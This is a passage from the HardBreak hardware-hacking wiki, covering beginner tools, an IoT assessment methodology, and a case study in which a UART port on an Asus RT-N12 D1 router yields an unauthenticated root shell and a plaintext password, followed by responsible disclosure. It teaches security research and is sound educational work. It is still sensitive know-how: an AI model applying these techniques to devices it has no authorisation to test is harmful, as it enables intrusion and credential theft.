# HardBreak - Hardware Hacking Wiki ***This page is a free and collaborative wiki about hardware hacking!***

HardBreak Wiki

The goal of HardBreak () is to collect knowledge about Hardware Hacking / IoT hacking in one place. There are many great blogs about Hardware Hacking, but it is a rather unpleasant experience to search through multiple blogs in different formats to find the information you need. HardBreak aims to organize all information in one accessible and easy-to-use platform. ## Discord **🎉 We just launched our HardBreak Discord Server! 🎉** Join us here 👉 [**https://discord.gg/AWVsKxJHvQ**](https://discord.gg/AWVsKxJHvQ) If you: * Want to discuss hardware hacking and IoT security * Share the project you are working on * Have feedback or requests for new content on our wiki Come be a part of our growing community of hardware hackers⚡ {% hint style="success" %} Hey! I’m Jonas Rosenberger, the creator of HardBreak. I’d love to hear your feedback or help out with any projects you’re working on. Feel free to reach out on [LinkedIn](https://www.linkedin.com/in/jonas-rosenberger-3276b1164/) or Discord (f\_3nter)! {% endhint %} ## Overview * [Introduction](/introduction/how-to-start) * In this chapter we give you guidance on how to start hardware hacking: * What first target device to choose * Essential tools to start with * [Methodology](/introduction/quickstart) * A hands on [Case Study](/introduction/case-study-led-to-a-cve-update/general-case-study) * [Hardware Hacking](/hardware-hacking/introduction) * Top down approach to follow and investigate your device * [Basics](/hardware-hacking/basics) ([Hardware Tools](/hardware-hacking/basics/tools/hardware-tools), [Software](/hardware-hacking/basics/tools/software-tools) and [Common Hardware Components](/hardware-hacking/basics/common-hardware-components)) * [Reconnaissance](/hardware-hacking/reconnaissance) ([OSINT](/hardware-hacking/reconnaissance/closed-device/osint-search-the-web), [Board Analysis](/hardware-hacking/reconnaissance/opened-device/board-analysis)) * [Interface Interaction](/hardware-hacking/interface-interaction): * Introduction to different protocols: e.g.,[UART](/hardware-hacking/interface-interaction/uart), [JTAG](/hardware-hacking/interface-interaction/jtag-swd/jtag), [SWD](/hardware-hacking/interface-interaction/jtag-swd/swd), [SPI](/hardware-hacking/interface-interaction/spi), [I2C](/hardware-hacking/interface-interaction/i2c).. * How to [Identify](/hardware-hacking/interface-interaction/uart/uart-from-start-to-finish) and use those protocols * [extract firmware](/hardware-hacking/interface-interaction/uart/extract-firmware-using-uart) using debug protocols * [Bypass Security Mechanisms](/hardware-hacking/bypassing-security) * Introduction to [Voltage Glitching](/hardware-hacking/bypassing-security/voltage-glitching) * How to [analyze Firmware](/hardware-hacking/analyze-firmware) * [Network Analysis](/network-analysis/introduction) * How to analyze protocols: [Reverse Engineering ](/network-analysis/protocols/application-layer/proprietary-protocols/parrot-anafi-drone-reverse-engineering)a drone * [Radio Hacking](/radio-hacking/introduction) * Tools ([RTL-SDR](/radio-hacking/tools/rf-signal-analyzers/rtl-sdr),[ Flipper Zero](/radio-hacking/tools/flipper-zero)) * Protocols ([RFID](/radio-hacking/protocols/rfid), [NFC](/radio-hacking/tools/flipper-zero/nfc)) and how to hack them ## How You Can Contribute We strongly encourage anyone interested to contribute their knowledge and insights. By sharing your discoveries or improving existing content, you help build a valuable resource for everyone. To contribute: * Submit a pull request on our [GitHub repository](https://github.com/F3enter/HardBreak) * Help us keep the content accurate—if you notice an error, please report it so we can correct it quickly! Reach out on [LinkedIn](https://www.linkedin.com/in/jonas-rosenberger-3276b1164/) or [Twitter](https://x.com/HardBreakWiki) {% hint style="info" %} Reference the original source or blog whenever you include content from another author. {% endhint %} Check out our [Contribution Guide](/contribute/how-to-contribute) for a step-by-step tutorial to making your first pull request! ## Important Disclaimers {% hint style="warning" %} While this wiki is built with the best knowledge and intentions from our contributors, **it may contain errors**. We encourage users to double-check any advice or strategies before applying them in practice. If you spot an issue, please help us by reporting it or making an edit! {% endhint %} #### Educational Use Only {% hint style="danger" %} The strategies and advice shared on this site are for **educational and informational purposes only**. They should not be used for any unlawful or harmful activities. We do not endorse or encourage any illegal or unethical conduct. Use the information here responsibly and at your own risk. {% endhint %} ## Get Started
IntroductionHow to start/pages/06tKx7MrNM2Jr8WXOrOM
BasicsHardware Hacking Tools/pages/fS9Jgn5Hm4XJM7G487GE
Hardware HackingExtracting Firmware using UART/pages/w4pGPcEY12jZKDWwXIfg
Reverse EngineeringHacking a drone/pages/lr7KvYjIuGcn74SLVf0h
# How to start In this chapter we want to describe on how to get started with hardware hacking and the tools you may need. Hardware hacking is all about investigating, breaking down, and understanding the underlying components of everyday devices—unlocking their secrets and sometimes even repurposing them for new tasks. ## Choosing Your First Target Device To start hardware hacking, choose an old, expendable device as your first target. Avoid experimenting on valuable devices like your brother's PS5, as they are likely well-secured and could lead to frustration if something goes wrong. Hardware hacking can damage your device, so it's best to use something you don't mind breaking. A used or outdated router is an excellent option for beginners, as it offers components to analyze and often runs a Linux-based OS. Other potential targets include network switches, IP cameras, or any device with logic and internet connectivity. #### Why Start with Old Devices? * Less Risk * With old or broken devices, there’s no risk of breaking something essential. * Affordability * You can find inexpensive or even free outdated routers, cameras, or other IoT devices. * Less Secure * Many older devices use proprietary protocols that you might not encounter on modern hardware. This can provide valuable experience for recognizing and adapting to similar challenges on newer devices. Also, older and cheaper devices are most likely not very secure, so they are a good starting point to gain experience. ### Essential Tools for Hardware Hacking Once you have your target device, you’ll need a few basic tools to get started. Hardware hacking often involves opening up devices, probing circuits, and sometimes connecting to hidden communication interfaces. Here’s a starter list: #### 1. Screwdriver Set Most devices are assembled with screws, so a set of small precision screwdrivers is essential. Look for a set that includes a variety of sizes and types, like Phillips and flathead, as you'll encounter different types of screws across devices. #### 2. [Soldering Iron and Equipment](/hardware-hacking/basics/tools/hardware-tools/soldering-tools) A soldering iron is crucial for attaching wires or replacing components. In hardware hacking, you'll often use it to attach wires to test points or UART (Universal Asynchronous Receiver-Transmitter) pins. Choose a soldering iron with adjustable temperature control, and get some basic soldering accessories like: * Solder * Standard lead-free solder. * Soldering Stand * Keeps the hot iron safely in place. * Desoldering Pump/Wick * For removing solder, helpful if you make a mistake or need to free up a component. * Soldering mat * to protect your table, in case solder drops down #### 3. [Multimeter](/hardware-hacking/basics/tools/hardware-tools/multimeters-and-oscilloscopes) A multimeter helps you measure voltage, resistance, and continuity, which is essential for checking connections and understanding the electrical characteristics of your target device. A good multimeter can prevent accidental shorts by helping you identify where power runs through the device. #### 4. Jumper Cables Jumper cables are useful for connecting different points on a circuit board without needing to solder, which is especially handy for quick testing. They're essential for connecting components like a UART adapter or power source temporarily. #### 5. [UART Adapter](/hardware-hacking/basics/tools/hardware-tools/uart-to-ttl-adapter) A UART (Universal Asynchronous Receiver-Transmitter) adapter allows you to communicate with the device’s serial interface. Many embedded systems, including routers, expose UART pins, which can provide a low-level console output. Through this connection, you may be able to access the device’s debug information or even drop into a root shell if it’s unsecured. A basic USB-to-UART adapter will allow you to connect the target device to your computer and start investigating. #### 6. (Optional) [Bus Pirate](/hardware-hacking/basics/tools/hardware-tools/open-source-tools/bus-pirate) The Bus Pirate is a versatile, open-source tool that can communicate with a wide range of protocols beyond UART. It’s especially useful for hardware hackers working with devices that use protocols like SPI (Serial Peripheral Interface), IÂČC (Inter-Integrated Circuit), and JTAG. Your chosen target device may not have an UART port, so you might have to look into alternative ways on how to dump its firmware. Although it’s optional, the Bus Pirate is a valuable addition to a hardware hacking toolkit if you plan to explore multiple protocols. ## Next Steps Once you have your tools and target device, your next steps involve disassembling the device, locating debug interfaces like UART or JTAG (Joint Test Action Group), and analyzing its circuits. You'll get familiar with testing voltages, identifying data lines, and sometimes even dumping firmware to examine its contents. I recommend reading the following pages on how to approach your first hardware hacking journey: 1. [Methodology](/introduction/quickstart) 1. Here we describe a general methodology on how to approach hardware hacking 2. [Reconnaissance](/network-analysis/reconnaissance) 1. In this section we give an overview on what to look out for on a device 3. [Interface Interaction](/hardware-hacking/interface-interaction) 1. You found and interesting chip or connector on the device? This section will explain standard protocols like UART, SPI, JTAG etc. and how we can interact with them 4. [Analyze Firmware](/hardware-hacking/analyze-firmware) 1. You were able to dump the firmware? NICE WORK! Now it's time to analyze it, this section shows you what to do 5. You want to take different approaches? Check out [Network Analysis](/network-analysis/introduction) or [Radio Hacking](/radio-hacking/introduction) 6. [Contribute](/contribute/how-to-contribute) 1. You may have come across a new proprietary protocol? Or you want to share the story on how you hacked your device? We would love to hear about it! This section will give you guidance on how you can support the hardware hacking community! Hardware hacking requires patience and persistence, but with the right approach, you can uncover fascinating aspects of how these devices work. # Methodology IoT devices have a lot of functionalities. Let's take the example of an alarm system: It probably has a key fob, a mobile app, radio frequency communication, maybe a webserver, which can be accessed over Wi-Fi etc. Therefore, we need a good strategy on how to tackle a security assessment of those complex devices. ### 1. **Initial Recon and Information Gathering** Hardware hacking often starts without the hardware. Even before we receive the device we want to test, we can already start gathering information about the device: such as datasheets, manuals, and online resources. If we receive the device, we should look at it from the outside and identify any exposed ports or interfaces such as UART, JTAG, USB, Ethernet, or wireless interfaces like Wi-Fi and Bluetooth. If the device has an FCC ID there is will be most likely a complete tear down available here: . It's useful for getting a view inside without the need to open the device. Sometimes also a firmware update can be downloaded from the manufacturer's website, which we can analyze. Also look out for public CVEs, blog entries or research, which has been performed on your device. ### 2. Network Analysis Use tools like `nmap` and `Wireshark` to passively monitor or actively test network and wireless communications (e.g., HTTP, MQTT, CoAP). We are looking for information like the used operating system, program versions or known vulnerabilities. If we find web applications such as a web server, we should also examine these, as they could allow us to execute remodeled code if they are not configured correctly. Learn more about Web-Pentesting on [Hacktricks](https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology). If we can login to the device, we may also check configuration settings and access control management. ### 3. **Hardware Analysis (closed device)** Before opening a device, we should first check out external facing interfaces like RF communication, Bluetooth or USB ports. Tools like `USBPcap` can passively monitor USB communication. If the host system is Windows based kiosk-escapes may be possible or the use of the [rubber ducky](https://shop.hak5.org/products/usb-rubber-ducky). Also, the device may have a display and buttons or even a keyboard: check out if you can do anything, which was not intended. Software-defined radios (SDRs) like HackRF or RTL-SDR can be used to capture and analyze RF traffic. Here you might have to practice your reverse engineering skills to be able to understand the communication. ### 4. **Hardware Analysis (opened device)** {% hint style="warning" %} Watch out for tamper protection, as this might make the device unusable once its triggered. Also be careful when working on an opened device: You don't want to break the device or hurt yourself. {% endhint %} Probably the most promising attack vector is the hardware of a IoT device. There are countless methods, where attackers try to extract sensitive information, e.g. by sniffing communication lines using logic analyzers, or attempt to escalate their privileges. A very common target is to extract the firmware of a device, which stores all code and therefore also all secrets. Once we opened the device, we should look out for debug interfaces like UART, JTAG or SWD, which allows us to communicate directly to the device. These interfaces are often not secured and are a very promising way to dump the firmware from devices. We could also attempt to dump the firmware from a flash chip over SPI. Once the firmware is extracted, tools like `binwalk`, `Ghidra`, or `radare2` can be used to reverse-engineer and analyze the firmware, looking for hardcoded credentials, encryption keys, and exploitable vulnerabilities. ### 5. **Advanced Exploitation** Hardware attacks, such as power analysis or fault injection, can be attempted to bypass security measures, such as read-out protections. These methods are invasive and should be carried out carefully, as they carry a risk of breaking the device. Another attack vector is to modify the firmware by changing the root password for example and rewrite it to the device. ### 6. **Components Analysis** We should also investigate components an IoT device may have. For an alarm system this could be something like the key fob or a mobile app. Vulnerabilities in these components could give us access to the main control station and shouldn't be overlooked. # Case Study (Led to a CVE Update) In this chapter, we provide a practical example of how to hack your first IoT device and dive into the world of hardware hacking. I found an old **Asus RT-N12 D1 router** in my basement, which had been replaced long ago and was laying around. A perfect candidate for a hardware hacking project!\ **Spoiler:** I successfully identified a vulnerability, which led to **Asus updating CVE-2024-28326** to include the RT-N12 D1 model. ## Reconnaissance #### *OSINT* The first step in any hardware hacking project is research. I started by Googling the router model number, **"ASUS RT-N12 D1"**, and came across an [article](https://redfoxsec.com/blog/asus-rt-n12-b1s-privilege-escalation-cve-2024-28326/) about a similar model, the **ASUS RT-N12+ B1**. The article mentioned that the device had an open **UART interface** allowing **unauthenticated root access**. However, it provided no exact details on how to exploit this or where the UART interface might be located. Could my router model have the same vulnerability? To gather more information, I turned to the **FCC ID** printed on the back of the router:

FCC ID

> In the United States, any device that uses RF communication, such as a router, must have an **FCC ID**. The Federal Communications Commission publishes detailed reports, including **internal photos** of devices. This allows us to inspect the internal hardware without even opening the device! Upon reviewing the FCC documentation, I noticed four connector pads on the top-right section of the PCB. This layout is very typical for a UART interface, which usually consists of four pins: RX, TX, VCC, and GND. #### *Open the device* With enough reconnaissance completed, it was time to open the router and take a closer look at the hardware. The primary goals were: * Identifying components of interest (e.g., flash chips, RAM). * Locating debug ports and interfaces. **Tip:** Always take photos of your device and label components as you identify them—this will help you stay organized.

Identified components

As we can see next to the flash chip there are 4 connector pins. Using a multimeter, we can try to identify each of the pins performing a continuity test. For that we need test points for ground and power. We can use the GND and VCC pins of the flash chip as a reference, since we can look them up on the datasheet of the flash chip.

Flash chip pinout

Using this method we can easily identify GND and VCC. To distinguish TX and RX pins, we can power on the device and see that one of the pin has a fluctuating voltage ranging from 1.8 to 3.3 V. This pin should be the TX pin of the UART interface. Hence, we got this layout:

UART interface pinout

## Interface Interaction To interact with the UART interface, I used a **USB-to-UART TTL adapter**. The connections were made as follows: * **Router TX** → **Adapter RX** * **Router RX** → **Adapter TX** * **GND** → **Adapter GND** > Note: Instead of soldering the GND pin, I used a clip on the flash chip for simplicity.

UART adapter connected

With everything connected, I used **Minicom** to set the baud rate to **115200** and powered on the router. Immediately, the **boot log** was printed!
Extend to see the full bootlog ``` Decompressing...done CFE version 5.100.138.9 based on BBP 1.0.37 for BCM947XX (32bit,SP,LE) Build Date: äșŒ 10月 2 17:29:48 CST 2012 (root@raymonddev-vm) Copyright (C) 2000-2008 Broadcom Corporation. Init Arena Init Devs. Boot partition size = 131072(0x20000) Found an ST compatible serial flash with 128 64KB blocks; total size 8MB et0: Broadcom BCM47XX 10/100/1000 Mbps Ethernet Controller 5.100.138.9 CPU type 0x19749: 300MHz Tot mem: 32768 KBytes CFE mem: 0x80700000 - 0x80799720 (628512) Data: 0x8072F560 - 0x80732790 (12848) BSS: 0x80732790 - 0x80733720 (3984) Heap: 0x80733720 - 0x80797720 (409600) Stack: 0x80797720 - 0x80799720 (8192) Text: 0x80700000 - 0x8072F560 (193888) Device eth0: hwaddr 78-24-AF-CC-A4-84, ipaddr 192.168.200.100, mask 255.255.255.0 gateway not set, nameserver not set end of nvram_rescuegpio_init Loader:raw Filesys:tftp Dev:eth0 File:: Options:(null) Loading: CFE works as TFTP Server. Failed. Could not load :: Timeout occured Loader:raw Filesys:raw Dev:flash0.os File: Options:(null) Loading: .. 5100 bytes read Entry at 0x80001000 Closing network. Starting program at 0x80001000 start_kernel Linux version 2.6.22.19 (root@asus) (gcc version 4.2.4) #1 Thu Mar 12 11:45:07 CST 2020 CPU revision is: 00019749 Found an ST compatible serial flash with 128 64KB blocks; total size 8MB Determined physical RAM map: memory: 02000000 @ 00000000 (usable) Built 1 zonelists. Total pages: 8128 Kernel command line: root=/dev/mtdblock2 noinitrd console=ttyS0,115200 Primary instruction cache 32kB, physically tagged, 4-way, linesize 32 bytes. Primary data cache 32kB, 4-way, linesize 32 bytes. Synthesized TLB refill handler (20 instructions). Synthesized TLB load handler fastpath (32 instructions). Synthesized TLB store handler fastpath (32 instructions). Synthesized TLB modify handler fastpath (31 instructions). PID hash table entries: 128 (order: 7, 512 bytes) CPU: BCM53572 rev 1 pkg 8 at 300 MHz Using 150.000 MHz high precision timer. console [ttyS0] enabled Dentry cache hash table entries: 4096 (order: 2, 16384 bytes) Inode-cache hash table entries: 2048 (order: 1, 8192 bytes) Memory: 28924k/32768k available (2452k kernel code, 3844k reserved, 495k data, 160k init, 0k highmem) Mount-cache hash table entries: 512 NET: Registered protocol family 16 PCI: no core PCI: no core PCI: Fixing up bus 0 NET: Registered protocol family 2 Time: MIPS clocksource has been installed. IP route cache hash table entries: 1024 (order: 0, 4096 bytes) TCP established hash table entries: 1024 (order: 1, 8192 bytes) TCP bind hash table entries: 1024 (order: 0, 4096 bytes) TCP: Hash tables configured (established 1024 bind 1024) TCP reno registered squashfs: version 3.2-r2 (2007/01/15) Phillip Lougher io scheduler noop registered (default) HDLC line discipline: version $Revision: 4.8 $, maxframe=4096 N_HDLC line discipline registered. Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing disabled serial8250: ttyS0 at MMIO 0xb8000300 (irq = 8) is a 16550A PPP generic driver version 2.4.2 MPPE/MPPC encryption/compression module registered NET: Registered protocol family 24 PPPoL2TP kernel driver, V0.18.3 PPTP driver version 0.8.5 pflash: found no supported devices Creating 5 MTD partitions on "sflash": 0x00000000-0x00020000 : "pmon" 0x00020000-0x007f0000 : "linux" 0x0011bf4c-0x00710000 : "rootfs" 0x007f0000-0x00800000 : "nvram" 0x00770000-0x007f0000 : "jffs2" dev_nvram_init: _nvram_init _nvram_init: allocat header: 2151579648, size= 32768 sdhci: Secure Digital Host Controller Interface driver sdhci: Copyright(c) Pierre Ossman u32 classifier OLD policer on Netfilter messages via NETLINK v0.30. nf_conntrack version 0.5.0 (512 buckets, 4096 max) ip_tables: (C) 2000-2006 Netfilter Core Team net/ipv4/netfilter/tomato_ct.c [Mar 12 2020 11:44:11] NET: Registered protocol family 1 NET: Registered protocol family 10 ip6_tables: (C) 2000-2006 Netfilter Core Team NET: Registered protocol family 17 802.1Q VLAN Support v1.8 Ben Greear All bugs added by David S. Miller VFS: Mounted root (squashfs filesystem) readonly. Freeing unused kernel memory: 160k freed Warning: unable to open an initial console. 1: set_action 0 firmware version: 3.0.0.4.380_8292-ge6e0d75d7df [1 init:init_nvram +5] init_nvram for model(29) num_of_mssid_support(0x0089): [mssid] support [3] mssid ctf: module license 'Proprietary' taints kernel. et_module_init: passivemode set to 0x0 hotplug net INTERFACE=eth0 ACTION=add eth0: Broadcom BCM47XX 10/100/1000 Mbps Ethernet Controller 5.110.27.20012 set_wltxpower(0x01d0): [rc] no Power Control on this model hotplug net INTERFACE=eth0 ACTION=add wl_module_init: passivemode set to 0x0 hotplug net INTERFACE=eth1 ACTION=add eth1: Broadcom BCM4347 802.11 Wireless Controller 5.110.27.20012 hotplug net INTERFACE=eth1 ACTION=add start_logger: Algorithmics/MIPS FPU Emulator v1.5 / # _ifconfig: name=eth0 flags=1043 IFUP addr=(null) netmask=(null) hotplug net INTERFACE=vlan0 ACTION=add hotplug net INTERFACE=vlan0 ACTION=add hotplug net INTERFACE=vlan1 ACTION=add hotplug net INTERFACE=vlan1 ACTION=add update_lan_state(lan_, 0, 0) start_lan: setting up the bridge br0 hotplug net INTERFACE=br0 ACTION=add vlan0: cmd=14: Operation not supported _ifconfig: name=vlan0 flags=1243 IFUP addr=(null) netmask=(null) start_lan: setting MAC of br0 bridge to 78:24:AF:CC:A4:84 hotplug net INTERFACE=br0 ACTION=add _ifconfig: name=eth1 flags=1243 IFUP addr=(null) netmask=(null) generate_wl_para(0x0a6f): unit 0 subunit -1 num_of_mssid_support(0x0089): [mssid] support [3] mssid generate_wl_para(0x0d8d): bw: 1 generate_wl_para(0x0d92): channel: 0 generate_wl_para(0x0d93): nbw_cap: 1 generate_wl_para(0x0d94): nctrlsb: lower generate_wl_para(0x0d96): obss_coex: 1 generate_wl_para(0x0a6f): unit 0 subunit 1 generate_wl_para(0x0a6f): unit 0 subunit 2 generate_wl_para(0x0a6f): unit 0 subunit 3 _ifconfig: name=br0 flags=1243 IFUP addr=192.168.1.1 netmask=255.255.255.0 _ifconfig: name=lo flags=1043 IFUP addr=127.0.0.1 netmask=255.0.0.0 route_manip: cmd=ADD name=lo addr=127.0.0.0 netmask=255.0.0.0 gateway=0.0.0.0 metric=0 update_lan_state(lan_, 1, 0) start_lan 1928 udhcpc_lan:: deconfig deconfig_lan: IFUP. _ifconfig: name=br0 flags=1243 IFUP addr=192.168.1.1 netmask=255.255.255.0 lan_down(br0) route_manip: cmd=DEL name=br0 addr=0.0.0.0 netmask=0.0.0.0 gateway=192.168.200.1 metric=0 update_lan_state(lan_, 4, 0) done # wanduck: Got LAN(-1) information: wanduck: delay 1 seconds before the first detect... [1 init:start_dnsmasq +12] begin [1 init:stop_dnsmasq +12] begin [1 init:stop_dnsmasq +12] end start_lan_port(0) 1 TZ watchdog wanduck: delay 2 seconds before the first detect... illegal, cannot enable DualWAN vlan0: cmd=14: Operation not supported wanduck: delay 3 seconds before the first detect... [1 init:init_main +14] recv signal 14 from pid [1:/sbin/init] (from user) wanduck: delay 4 seconds before the first detect... [1 init:init_main +15] recv signal 14 from pid [1:/sbin/init] (from user) wanduck: delay 5 seconds before the first detect... / # udhcpc_lan:: leasefail / # / # / # ```
Even better: once the router finished booting, the UART interface provided an **unauthenticated root shell**!
## Post Exploitation With root access, I could analyze the router’s internals: * Inspect running processes * Check installed programs * Retrieve sensitive information For example, if you ever forget your router’s password, you can simply read it in plaintext:

Example password read out

## Responsible Disclosure I responsibly reported the vulnerability to Asus, which led to the following timeline: * **09.11.2024** – Reported the vulnerability via [Asus Security Advisory](https://www.asus.com/securityadvisory/). * **18.11.2024** – Received an email from Asus suggesting I update to the latest firmware and retry. They also noted that the "*model has been End-of-Life (EOL) for several years and will no longer receive firmware maintenance*." * **18.11.2024** – Confirmed the vulnerability still exists in the latest firmware and submitted detailed findings to Asus. * **17.12.2024** – Asus acknowledged the vulnerability and updated **CVE-2024-28326** to include the **RT-N12 D1 router**. ## Resources # General Case Study Scenario: You own a device you want to investigate and maybe modify. ## Non-invasive Testing As told in the [Methodology ](/introduction/quickstart)chapter, first you should try non-invasive methods, as opening the device is risky and can break components or the whole device. Hence, start with: * Read the documentation: * Documentation of IoT devices can reveal a lot of the functionalities * For example: Is there a backup function, which writes backups to a SD-card /USB-Stick? * Try to find functionalities, which can be exploited * Try searching for default passwords, which may give access to more functionalities/data * Does the device have a webserver running? * Try to find common vulnerabilities like RCE, LFI etc. * Check with Wireshark / RF Analyzer for any communication of the device ## More invasive Testing If the attempts above are exhausted, we can start with our hardware hacking. {% hint style="warning" %} Opening a device comes at the risk of breaking it! Watch out for tamper protection! {% endhint %} To do the basic hardware hacking, you just need: * An [multimeter](/hardware-hacking/basics/tools/hardware-tools/multimeters-and-oscilloscopes) * an [UART to TTL](/hardware-hacking/basics/tools/hardware-tools/uart-to-ttl-adapter) USB adapter * jumper cables * and in some cases: a [soldering station](/hardware-hacking/basics/tools/hardware-tools/soldering-tools) After opening the device follow: 1. Get an overview of what is available of the PCB board 1. Checkout which chips are used 1. Google the datasheet of each chip you find (model should be printed on top of the chip) 2. It can be useful to take a picture of the PCB and label everything you can identify

Example layout of an PCB

2. We should also remove shields which prevent us from seeing the hardware:

chips under shield

3. Check for connector or test pads (can be quick wins to find a UART/JTAG etc.) 1. Even better if we find actual pins, where we can connect jumper cables to:

UART pins exposed

1. JTAG (where we need more pins) are also very interesting targets

JTAG-Connector

UART and JTAG pads found

Note: Not all PCBs have these connectors or the interfaces may be disabled. 2. Check the pinout for the connectors: 1. Put the multimeter in continuity mode (often a "diode" / "soundwave line**"** symbol) here on top:

multimeter

1. This mode will check if there is a direct connection between two points on the PCB 2. Put one probe on the connector pad you want to test 3. The other one goes on the chip (datasheet will tell you what pins are used for UART/SPI/JTAG)

How to probe

You need to find the GND (ground), TX (transmit) and RX (receive) pins to communicate with UART. 3. Another method to figure out the pinout is by looking at the voltage of the pins: 1. GND should be at 0V 2. TX pin should fluctuate between 2-3V, depending if there is output or not 3. RX pin can look like the GND pin, since it just waits for data to come in 4. Now you need to connect the pins using jumper cables to the UART-USB-TTL adapter (make sure RX -> TX and TX->RX, as they have to be reversed). This can be done by soldering the cables onto the connector pins, plug them in or use clamps.

UART connection found on PCB

5. On your PC use the following command to communicate over UART (you may have to adjust the baud rate) {% tabs %} {% tab title="Linux" %} ```bash sudo minicom -D /dev/ttyUSB0 -b 115200 sudo picocom -b 115200 -r -l /dev/ttyUSB0 ``` {% endtab %} {% tab title="Windows" %} **Using PuTTY (Windows)**: * Select “Serial” and enter the COM port (e.g., COM3) and baud rate (115200). {% endtab %} {% endtabs %} 5. If you see something like this: You done it correctly!

Example bootlog

**Congrats!** You found your first serial connection! Check out the UART chapter on how to use this to dump the firmware from the device. ## Resources: \*[Hardware Hacking 101: Getting a root shell via UART](https://riverloopsecurity.com/blog/2020/01/hw-101-uart/) # Introduction Imagine owning an IoT device like a router, smart light, or Wi-Fi camera and wanting to investigate its security. Your first instinct might be to scan for open ports, services, or web server vulnerabilities. But what if these software-based attack vectors reveal nothing? Is the game over? Not at all! While the software might be secure, the hardware often tells a different story. Debug ports can be abused to gain root shells, firmware can be dumped from microchips, and communication lines can be sniffed to uncover sensitive data. ### Why Consider Hardware Hacking? Hardware hacking offers a deeper layer of exploration beyond traditional software-based security testing. Devices often have physical interfaces and chips that store critical data, such as credentials or encryption keys, that attackers might exploit. Even if software vulnerabilities are absent, the hardware can often be a treasure trove of opportunities for bypassing security mechanisms. By mastering hardware hacking, you can: * Discover vulnerabilities that software tests cannot reveal. * Extract valuable insights by dumping firmware or accessing memory directly. * Understand and manipulate the low-level workings of IoT devices. ### What is the Goal of Hardware Hacking? The primary goal of a hardware hacker is typically to gain full control of the device, escalating privileges and accessing sensitive data. For example: * Interactive Access * Obtaining an administrative shell that allows full control of the device. * [Firmware Extraction](/hardware-hacking/basics/firmware-extraction-methods) * Dumping the device's firmware, which contains all the code and secrets required for operation. This can reveal admin passwords, hardcoded credentials, or security flaws. * Firmware Modification * Reflashing a device with modified firmware to bypass restrictions or gain privileged access. ### How Do We Start? Check out the[ How to start](/introduction/how-to-start) guide, which give you guidance on what target device to choose (if you don't have one already), what tools are needed for beginners and how to approach hardware hacking in general. After opening the device, the first step is identifying key hardware components and interfaces. In the [Board Analysis](/hardware-hacking/reconnaissance/opened-device/board-analysis) we describe in detail how to identify each component and how we can abuse it. A short summary: * Debug Interfaces (e.g., [UART](/hardware-hacking/interface-interaction/uart), [JTAG/SWD](/hardware-hacking/interface-interaction/jtag-swd)) * These allow direct communication with the device, often providing admin-level access if unsecured. * Memory Chips (e.g., [SPI Flash](/hardware-hacking/interface-interaction/spi), EEPROM) * These store firmware and critical data, which can often be [extracted](/hardware-hacking/interface-interaction/spi/extract-firmware-using-spi) and analyzed. * Communication Lines (e.g.,[ I2C](/hardware-hacking/interface-interaction/i2c), [SPI](/hardware-hacking/interface-interaction/spi), [UART](/hardware-hacking/interface-interaction/uart)) * Sniffing these can reveal unencrypted data in transit, such as credentials or sensitive commands. This can be done by using a [logic analyzer](/hardware-hacking/basics/tools/hardware-tools/logic-analyzer). Once the firmware or data is extracted, tools like [**binwalk**](/hardware-hacking/basics/tools/software-tools/binwalk), [**Ghidra**](/hardware-hacking/basics/tools/software-tools/ghidra), and **radare2** can help reverse-engineer the firmware, uncovering hardcoded secrets, encryption keys, or exploitable vulnerabilities. ### Next Steps The content of this wiki has a top to button approach, so you can just follow the natural order of the content to start your deep dive into hardware hacking: * [***Basics***](/hardware-hacking/basics)\ Start by familiarizing yourself with essential hardware and software tools. Learn about devices like the **Bus Pirate**, **JTAG adapters**, and **logic analyzers**, as well as software like **Ghidra** and **binwalk**, which are critical for hardware hacking. * [***Reconnaissance***](/hardware-hacking/reconnaissance)\ Discover how to enumerate a device and identify hardware interfaces. This chapter focuses on understanding and locating **UART**, **JTAG**, and **SPI** interfaces. Begin your journey with the *Board Analysis* section to learn how to inspect and analyze a device's hardware layout. * [***Interface Interaction***](/hardware-hacking/interface-interaction)\ Found a debugging interface like JTAG or UART? This chapter will teach you how to interact with it to extract data, dump firmware, and explore the internal workings of the device. * [***Bypassing Security***](/hardware-hacking/bypassing-security)\ Take your skills to the next level with advanced techniques for bypassing security mechanisms. Learn approaches to overcome challenges like read-out protections on chips and explore topics like **side-channel attacks** for deeper hardware penetration. * [***Analyze Firmware***](/hardware-hacking/analyze-firmware)\ Once you’ve extracted firmware, this chapter guides you through analyzing it using tools like **binwalk** to uncover vulnerabilities, hardcoded secrets, and sensitive information. # Basics # Tools In this chapter we introduce hardware and software tools, which can be useful for hardware hacking. # Hardware Tools In this chapter we want to answer the question: *What do I need for a hardware lab?* Hardware hacking tools are needed to access and interact with the physical components of a device. They allow to probe interfaces, extract data, and analyze communication protocols that are not accessible through software alone. Tools like logic analyzers, chip programmers, and software-defined radios enable the monitoring and manipulation of hardware-level signals, while debuggers and memory readers provide insights into the device's operation. Without these specialized devices, many hardware vulnerabilities would remain undiscovered or unexploitable. # Essential Tools Once you have your target device, you’ll need a few basic tools to get started. Hardware hacking often involves opening up devices, probing circuits, and sometimes connecting to hidden communication interfaces. Here’s a starter list: **1. Screwdriver Set** Most devices are assembled with screws, so a set of small precision screwdrivers is essential. Look for a set that includes a variety of sizes and types, like Phillips and flathead, as you'll encounter different types of screws across devices. **2.** [**Soldering Iron and Equipment**](https://www.hardbreak.wiki/hardware-hacking/basics/tools/hardware-tools/soldering-tools) A soldering iron is crucial for attaching wires or replacing components. In hardware hacking, you'll often use it to attach wires to test points or UART (Universal Asynchronous Receiver-Transmitter) pins. Choose a soldering iron with adjustable temperature control, and get some basic soldering accessories like: * Solder * Standard lead-free solder. * Soldering Stand * Keeps the hot iron safely in place. * Desoldering Pump/Wick * For removing solder, helpful if you make a mistake or need to free up a component. * Soldering mat * to protect your table, in case solder drops down **3.** [**Multimeter**](https://www.hardbreak.wiki/hardware-hacking/basics/tools/hardware-tools/multimeters-and-oscilloscopes) A multimeter helps you measure voltage, resistance, and continuity, which is essential for checking connections and understanding the electrical characteristics of your target device. A good multimeter can prevent accidental shorts by helping you identify where power runs through the device. **4. Jumper Cables** Jumper cables are useful for connecting different points on a circuit board without needing to solder, which is especially handy for quick testing. They're essential for connecting components like a UART adapter or power source temporarily. **5.** [**UART Adapter**](https://www.hardbreak.wiki/hardware-hacking/basics/tools/hardware-tools/uart-to-ttl-adapter) A UART (Universal Asynchronous Receiver-Transmitter) adapter allows you to communicate with the device’s serial interface. Many embedded systems, including routers, expose UART pins, which can provide a low-level console output. Through this 